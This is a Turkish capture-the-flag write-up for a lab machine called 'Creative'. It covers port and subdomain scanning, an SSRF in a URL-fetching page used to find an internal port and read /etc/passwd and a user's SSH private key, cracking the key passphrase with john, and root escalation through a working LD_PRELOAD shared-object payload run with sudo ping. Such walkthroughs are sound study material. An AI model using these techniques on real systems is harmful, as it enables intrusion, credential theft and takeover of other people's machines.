Creative
User Flag
nmap komutu:
1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.22.245
nmap sonucu:
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-29 11:10 EDT
Nmap scan report for 10.10.22.245 (10.10.22.245)
Host is up (0.13s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80 portunda web servisi çalışıyor. Siteyi ziyaret edelim
Siteyi görüntülemek için /etc/hosts dosyasını düzenlememiz gerekiyor.
1
nano /etc/hosts
Artık siteye erişebiliriz.
Sitede gezindiğimde dikkatimi çeken bir şey olmadı.
Dizin taraması yaptım. Gobuster sadece /assets dizinini buldu dizine gittiğimde 403 forbidden hatası alıyorum yani dosyayı görüntüleme iznimiz yok.
Subdomain taraması başlattım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~]
└─# gobuster vhost --wordlist=/usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --url http://creative.thm/ --append-domain -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://creative.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: beta.creative.thm Status: 200 [Size: 591]
beta subdomainini buldum. etc/hosts dosyasına ekledim ve siteye gittim.
Adından da anlaşılacağı üzere bir url vermemizi istiyor.
Test için bir index.html dosyası oluşturdum.
1
echo "R3tr0" > index.html
Sonrasında web servisini çalıştırdım.
1
python3 -m http.server 80
Site index.html dosyasını gösteriyor.
http://localhost
ile sitenin içeriğini görmeyi denedim.
Buradan sonra ne yapacağımı bilmiyordum. İnternette araştırma yaptım. Nmap taramasında görünmeyen ve dışarıdan erişilemeyen bir port olabileceğini düşünerek en çok kullanılan port numaralarını http://localhost:$PORT
olarak taradım.
Wordlist için Chatgpt den yardım aldım.
Port numaralarını port.txt dosyasına kaydettim.
Ardından burp ile isteği yakalayıp Intruder e attım.
Hazırladığım wordlisti vererek saldırıyı başlattım.
1337 portunda güzel şeyler var :)
http://localhost:1337
yazdığımda makinenin içeriğini görüntüleyebiliyorum.
http://localhost:1337/etc/passwd
yazarak kullanıcıları görebiliriz.
Hedefimiz saad kullanıcısı. Makinede araştırma yaptığımda saad kullanıcısının id_rsa ssh key’ine rastladım.
http://localhost:1337/home/saad/.ssh/id_rsa
id_rsa dosyası oluşturdum. ve chmod 600 id_rsa
ile gerekli izinleri verdim.
ssh2john aracını kullanarak hash’ini aldım ve john ile kırdım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 id_rsa
┌──(root㉿kali)-[~/Desktop]
└─# ssh2john id_rsa > password.hash
┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt password.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
------ (id_rsa)
1g 0:00:00:25 DONE (2024-04-29 12:57) 0.03912g/s 37.55p/s 37.55c/s 37.55C/s xbox360..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Artık makineye girebiliriz.
1
2
┌──(root㉿kali)-[~/Desktop]
└─# ssh saad@10.10.22.245 -i id_rsa
User flag’ini aldık.
Root Flag
.bash_history dosyasında saad kullanısının parolası yazıyor. Kullanmamız gerekebilir.
1
2
3
4
5
6
7
saad@m4lware:~$ sudo -l
[sudo] password for saad:
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User saad may run the following commands on m4lware:
(root) /usr/bin/ping
env_keep+=LD_PRELOAD ve ping ile yetkimizi yükseltebiliriz.
Root.c dosyası oluşturdum.
1
nano root.c
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
C dosyasını çalıştırılabilir bir dosya haline getirdim.
1
gcc -fPIC -shared -o root.so root.c -nostartfiles
1
sudo LD_PRELOAD=/tmp/root.so ping
Ve yetkimizi yükselttik :)